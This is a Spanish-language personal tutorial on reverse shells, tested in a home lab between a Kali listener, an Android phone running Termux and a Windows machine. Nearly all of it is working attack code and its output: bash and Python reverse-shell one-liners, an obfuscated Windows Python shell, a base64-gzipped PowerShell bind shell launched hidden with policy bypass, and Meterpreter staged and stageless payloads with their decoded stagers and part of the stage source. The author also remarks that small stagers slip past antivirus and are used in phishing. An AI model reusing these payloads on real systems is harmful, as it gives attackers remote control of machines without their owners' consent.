Reverse Shell

Apuntes Reverse Shell. (sin formatear. fallo en md)

En el entono TCP/IP
Las conexiones inversas se utilizan cuando la maquina a la que necesito acceder esta detras de un cortafuegos.
Por lo que no puedo acceder a sus puertos de una forma convencional.

Me explico: Normalmente una maquina que esta detras de un cortafuegos/router/nat…
Solo puede hacer conexiones salientes. Pero no acepta o no funcionan las conexiones entrantes.
Es como un movil al que no le entran las llamadas pero si puede llamar.

Los Reverse-shell o interpretes inversos se utilizan cuando la maquina a la que necesito controlar esta detras de un cortafuegos.
Existen muchos progrmas de soporte que utilizan esta tecnica. (VNC connect , teamviewer…)

En el mundo de la seguridad informatica hay que vigilarlos/controlarlos. Ya que pueden ser utilizados para acceder a un equipo sin consentimiento.(y esto es illegal).

Veamos como funcionan algunos de ellos.


1- Prueba comunicacion:

  • Kali (Negro IP:10.8.0.1) Maquina Escucha ( Conexion Entrante)
  • host1 (Azul IP:10.8.0.4) cliente1 Movil con termux (conexion saliente)


Servidor (10.8.0.1)Cliente (10.8.0.4)

Lanzo netcat a la escucha puerto 1234 nc -klnvp 1234

em50l@jejo.es$ nc -klnvp 1234
listening on [any] 1234 ...
El equipo se queda a la espera de una conexion entrante...


En un cliente lanzo el comando: echo test > /dev/tcp/10.8.0.6/1234
$ echo test > /dev/tcp/10.8.0.1/1234
$ 

Y en el ordenador a la escucha apareceran los datos de la conexion entrante:

connect to [10.8.0.1] from [10.8.0.4] 38364
test
em50l@jejo.es$




2- Reverse shell: Bash shell

  • Kali (Negro IP:10.8.0.1) Maquina Controladora (desde la que quiero acceder a los otros equipos)
  • host1 (Azul IP:10.8.0.4) cliente1 Movil con termux


Servidor (10.8.0.1)Cliente (10.8.0.4)

Lanzo netcat a la escucha puerto 1234 nc -klnvp 1234

em50l@jejo.es$ nc -klnvp 1234
listening on [any] 1234 ...
El equipo se queda a la espera de una conexion entrante...


En un cliente lanzo el comando: bash -i >& /dev/tcp/10.8.0.1/1234 0>&1
$ bash -i >& /dev/tcp/10.8.0.1/1234 0>&1

Y en el ordenador a la escucha apareceran los datos de la conexion entrante: Y esta vez el simbolo del sistema del ordenador cliente

connect to [10.8.0.1] from [10.8.0.4] 39527
$

Puedo comprobar que funciona encendiendo y apagando la linterna (flash de la camara). Con el comando termux-torch

$ termux-torch on
$ 
$ termux-torch off
$ 




3- Revese shell: python

  • Kali (Negro IP:10.8.0.1) Maquina Controladora (desde la que quiero acceder a los otros equipos)
  • host1 (Azul IP:10.8.0.4) cliente1 Movil con termux


Servidor (10.8.0.1)Cliente (10.8.0.4)

Lanzo netcat a la escucha puerto 1234 nc -klnvp 1234

em50l@jejo.es$ nc -klnvp 1234
listening on [any] 1234 ...
El equipo se queda a la espera de una conexion entrante...


En un cliente lanzo el comando:
$ python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("10.8.0.6",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Mas reverses aqui:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Y en el ordenador a la escucha apareceran los datos de la conexion entrante: Y esta vez el simbolo del sistema del ordenador cliente

connect to [10.8.0.1] from [10.8.0.4] 39883
$ 





Reverse shell python windows contra linux (ips dentro vpn)

Servidor/victima a controlar (10.8.0.2) Cliente/controlador (10.8.0.5)

Lanzo netcat a la escucha puerto 4242 nc -lp 4242

em50l@jejo.es$ nc -klnvp 4242
listening on [any]4242 ...
El equipo se queda a la espera de una conexion entrante...
**Comando:**
`python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.8.5', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" `
En el cliente (ordenador a la escucha) apareceran los datos de la conexion entrante: Y esta vez el simbolo del sistema del ordenador cliente
jejo@em50l:/$ nc -lp 4242
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\System32>
Referencias: * https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md * http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet * https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ * https://stackoverflow.com/questions/37991717/python-windows-reverse-shell-one-liner ## shells generados con msfvenom ### windows bind shell powershell * 1) Obtengo el shell ``` ## informacion plataformas y payloads msfvenom --list platforms msfvenom --list payloads ## menos importantes msfvenom --list archs msfvenom --list encoders msfvenom -p cmd/windows/powershell_bind_tcp --platform windows --list-options msfvenom -p cmd/windows/powershell_bind_tcp --platform windows LPORT=1880 ``` * 2) Lanzo el shell en la maquina "victima" ejecutando el comando obtenido. ``` powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAAdXGl4CA51W227bOBB991cMvGotIRbhBFigCJCirpLuBsi2RuXdPBgGQlPjWBuZ9JKUL0j870tK1MVxgjbViy1yeObMmQv1G4zEBuU85xDCrUy1Rg6zHXw2P+NccpTwHi7pGuFPKpNdp2MsmU4Fhz9Qh7c4Y1mKXEPnsQPm8TYMLuArbsJvs3+RaQjHuxV+pUs0i5oY+6iwr4zJ3wovcU7zTEcSE7OT0kwZCE/LHGurkRTbHXlmYdZbK5VtZ99QXFWhdR6h2B9RSZd++X8Sa5ny+6kXieWS8qR/uBqrjAn+bPFSbHgmaFKsBg5TCoZKgRNgKZI8Q0vwkx9AaZLOwa/cQIj/QXeW8qQbFJvlueJsliojv5H8wrjcmf9LYlWLBXtArciYrW6cxfT0w4fB8UGiNJXa+nWei12XoouW3ZAxXGkDWKbDL6nsX6MrcY1S4THjGrqV8peYRyPnqNvtW+rOX6fUTGmJdGkJlnjE1FZcrBliDaUyJSUjWx5dl4EWH6WyuAJ7hRKy3JT5jsSVqe/89725qSPs+4/e2KDvIaQKJgdnvuNSaIxQ6nSeMqrxH5qlCbXFFtEsm1H2MA2CF+iQYa4XtlLtoaGqxQhaaWpUaKJoyzSZ7TROplPP/toCGxByNjDP07vHwd4piTyptv2Jxq0myJlIbPWenw/j6Po6sOp+tjZ+99aUodiocgbEC8wykDnnxhpM7LkypdiFE/CQr8/tG7eNfGLWTBrqDSaWq1w3m3c8EqudTO8XGvwogLPB6e/wV8qkUGKuIRJyJWShGYGh9WgtFUg0DtaYkDt+x12lOU2IHUzoN9H1B/3mhdwgv9eLdqVUfdqulaNSeZtUk5Mp3BhIq43rcVLzfDvX6tQXIa8oWxjOJSikvJ4hjVVD2z7+wegNSBVtOaUqpODpmq/FA4ZX25XRVhm9a5T9Yfu9SYneKIaeyXPB4kawIpMBGVG9MKu9j71fTt1mkWbo+15a9EB5/DvSxC8rvg+DPngH5wIIOcLgKLdXlj4mYxPKa9eRGwnWhBQhXrmQGxTT2NRSaaG5yVTIXIUDXho8KyszB6yWRwmAsBqrJfjZx/en8ATfch2WqOCkOIA6g0KQCtiI/IMUQK8B2VoiHkop5GQwPXDWYl3sE5YhlX7wEoOL9otp/G3nuJN+qnwamB+2TrtUjhqnOvMly9WivmndGHTXSJQJhS6e5u6LtVhVF575WujUXwl1cuzt/D/9IzhxGQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))" ``` * 3) Me conecto a la maquina por ejemplo con telnet.
jejo@em50l:~$ telnet 10.0.8.2 1880
Trying 10.0.8.2...
Connected to 10.0.8.2.
Escape character is '^]'.
Windows PowerShell running as user Administrator on WS2012
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator>








4- Meterpreter staged

(Observa solo 446 bytes)

Creo un staged Payload (carga util por etapas)

root@kali:~# msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=10.8.0.6 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 446 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
root@kali:~# 
**Observa que este payload fase1 solo ocupa 446 bytes** Este payload no tiene capacidad para hacer casi nada en la maquina remota. Y dado su pequeño tamaño seria facil hacer que pase desapercibido ante un antivirus. En Casi todos los ataques **phising** intentan colarnos un payload de este tipo usando ingenieria social.
Servidor (10.8.0.6)Cliente (10.8.0.4)
Lanzo meterpreter a la escucha puerto 1234.
root@kali:~# msfconsole 
       =[ metasploit v5.0.41-dev                          ]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.8.0.6
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.8.0.6:1234

El meterpreter se queda a la escucha hasta que se conecte un cliente.


Ejecuto el codigo del payload en un cliente(azul):
$ python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))"
$ 

Cuando se conecta un cliente:
1 se le envia el payload completo (fase2)53kb (Sending stage)
2 Cuando el cliente ejecuta el payload correctamente se crea una sesion y aparece el interprete meterpreter>

[*] Sending stage (53755 bytes) to 10.8.0.4
[*] Meterpreter session 2 opened (10.8.0.6:1234 -> 10.8.0.4:48001) at 2019-08-23 18:53:33 +0000

meterpreter > 

Nota: Es posible que tarde un rato en aparecer la linea >meterpreter
Ejecuto un par de commandos para comprovar que he accedido remotamente al equipo.

meterpreter > sysinfo
Computer        : localhost
OS              : Linux 3.18.35+ #2 SMP PREEMPT Mon Jan 22 15:09:08 CST 2018
Architecture    : armv7l
System Language : en_US
Meterpreter     : python/linux
meterpreter > shell
Process 9819 created.
Channel 2 created.
/bin/sh: 0: can't access tty; job control turned off
$ 


Como se puede observar en el cliente se han creado los procesos: y se ha establecido una conexion con el servidor.

$ pstree -ln
 ─┬────[bash]
  └─python─┬─2*[{python}]
           └─sh


$ netstat -putonal
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 10.8.0.4:48001          10.8.0.6:1234           ESTABLISHED 9729/python          off (0.00/0/0)
$ 

Si quiero ver el codigo del staged payload solo tengo que decodificarlo.

em50l@jejo.es$ echo "aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==" | base64 --decode

import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('10.8.0.6',1234))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})







Como funciona un meterpreter staged:

root@kali:~# msfconsole 
       =[ metasploit v5.0.41-dev                          ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.8.0.6 
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.8.0.6:1234 
[*] Sending stage (53755 bytes) to 10.8.0.4

** Si en el cliente en lugar de lanzar el payload lanzo:** nc 10.8.0.6 1234 -d 5
Vere el codigo que envia el meterpreter. para que se ejecute en el cliente.(en este caso 53Kb 53755bytes)

$ nc 10.8.0.6 1234 -d 5

#!/usr/bin/python
import binascii
import code
import os
import platform
import random
import re
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback

try:
    import ctypes
except ImportError:
    has_windll = False
else:
    has_windll = hasattr(ctypes, 'windll')

try:
    urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
    if sys.version_info[0] < 3:
        urllib = __import__('urllib2', fromlist=urllib_imports)
    else:
        urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
    has_urllib = False
else:
    has_urllib = True

if sys.version_info[0] < 3:
    is_str = lambda obj: issubclass(obj.__class__, str)
    is_bytes = lambda obj: issubclass(obj.__class__, str)
    bytes = lambda *args: str(*args[:1])
    NULL_BYTE = '\x00'
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
    if isinstance(__builtins__, dict):
        is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
        str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    else:
        is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
        str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    is_bytes = lambda obj: issubclass(obj.__class__, bytes)
    NULL_BYTE = bytes('\x00', 'UTF-8')
    long = int
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

# reseed the random generator.
random.seed()







Meterpreter no staged

(Observa 71850 bytes)

root@kali:~# msfvenom -f raw -p python/meterpreter_reverse_tcp LHOST=10.8.0.6 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 71850 bytes
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('**Omito Codigo**')))
root@kali:~# 

Veo que es parecido al de arriba.






Unstaged Reverse shell en python

root@kali:~# msfvenom -p cmd/unix/reverse_python LHOST=10.8.0.6 LPORT=1234 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 453 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgLHN1YnByb2Nlc3MgICxvcyAgICAgICAgOyBob3N0PSIxMC44LjAuNiIgICAgICAgIDsgcG9ydD0xMjM0ICAgICAgICA7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgLHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICAgIDsgcy5jb25uZWN0KChob3N0ICAscG9ydCkpICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDApICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDEpICAgICAgICA7IG9zLmR1cDIocy5maWxlbm8oKSAgLDIpICAgICAgICA7IHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
import socket,subprocess,os;
host="10.8.0.6";port=1234;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((host,port));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call("/bin/bash")








Unstaged Reverse shell en python (no funciona)

root@kali:~# msfvenom -f raw -p python/shell_reverse_tcp LHOST=10.8.0.6 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 389 bytes
exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))
root@kali:~# 
___ **Al probar el codigo da error:**
em50l@jejo.es$ python -c "exec('aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))
> "
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "<string>", line 9, in <module>
  File "/usr/lib/python2.7/os.py", line 693, in popen3
    stderr=PIPE, close_fds=True)
  File "/usr/lib/python2.7/subprocess.py", line 394, in __init__
    errread, errwrite)
  File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child
    raise child_exception
TypeError: execv() arg 2 must contain only strings
em50l@jejo.es$ 

El problema de los programas codificados en base64 es que no hay manera de intuir el error.

Asi que intento sacar el codigo a ver que le ocurre:

em50l@jejo.es$ # echo aW1wb3J0IHNvY2tldCxvcwpzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEwLjguMC42JywxMjM0KSkKTEg9RmFsc2UKd2hpbGUgbm90IExIOgoJZGF0YT1zby5yZWN2KDEwMjQpCglpZiBsZW4oZGF0YSk9PTA6CgkJTEg9VHJ1ZQoJc3RkaW4sc3Rkb3V0LHN0ZGVyciw9b3MucG9wZW4zKGRhdGEpCglzdGRvdXRfdmFsdWU9c3Rkb3V0LnJlYWQoKStzdGRlcnIucmVhZCgpCglzby5zZW5kKHN0ZG91dF92YWx1ZSkK | base64 --decode

import socket,os
so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
so.connect(('10.8.0.6',1234))
LH=False
while not LH:
    data=so.recv(1024)
    if len(data)==0:
        LH=True
    stdin,stdout,stderr,=os.popen3(data)
    stdout_value=stdout.read()+stderr.read()
    so.send(stdout_value)
    

Al ejecutarlo sin codificar y ver el error ya saco algo mas en claro.

em50l@jejo.es$ python -c "
> import socket,os
> so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> so.connect(('10.8.0.6',1234))
> LH=False
> while not LH:
>     data=so.recv(1024)
>     if len(data)==0:
>         LH=True
>     stdin,stdout,stderr,=os.popen3(data)
>     stdout_value=stdout.read()+stderr.read()
>     so.send(stdout_value)
> "
Traceback (most recent call last):
  File "<string>", line 10, in <module>
  File "/usr/lib/python2.7/os.py", line 693, in popen3
    stderr=PIPE, close_fds=True)
  File "/usr/lib/python2.7/subprocess.py", line 394, in __init__
    errread, errwrite)
  File "/usr/lib/python2.7/subprocess.py", line 1047, in _execute_child
    raise child_exception
TypeError: execv() arg 2 must contain only strings
em50l@jejo.es$ 

Codifico un codigo en python y lo pruebo.

em50l@jejo.es$ echo "import socket,struct,time 
> for x in range(15):
>  try: s=socket.socket(2,1);s.connect(('10.8.0.6',1234));break
>  except: time.sleep(5)
> l=struct.unpack('>I',s.recv(4))[0];d=s.recv(l)
> while len(d)<l: d+=s.recv(l-len(d))
> exec(d,{'s':s})" | base64
aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZSAKZm9yIHggaW4gcmFuZ2UoMTUpOgogdHJ5OiBzPXNv
Y2tldC5zb2NrZXQoMiwxKTtzLmNvbm5lY3QoKCcxMC44LjAuNicsMTIzNCkpO2JyZWFrCiBleGNl
cHQ6IHRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXTtkPXMu
cmVjdihsKQp3aGlsZSBsZW4oZCk8bDogZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpz
fSkK
em50l@jejo.es$ python -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZSAKZm9yIHggaW4gcmFuZ2UoMTUpOgogdHJ5OiBzPXNvY2tldC5zb2NrZXQoMiwxKTtzLmNvbm5lY3QoKCcxMC44LjAuNicsMTIzNCkpO2JyZWFrCiBleGNlcHQ6IHRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXTtkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDogZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))"
em50l@jejo.es$ 

https://www.hacking.land/2017/02/stitch-un-rat-multiplataforma-escrito.html

Referencias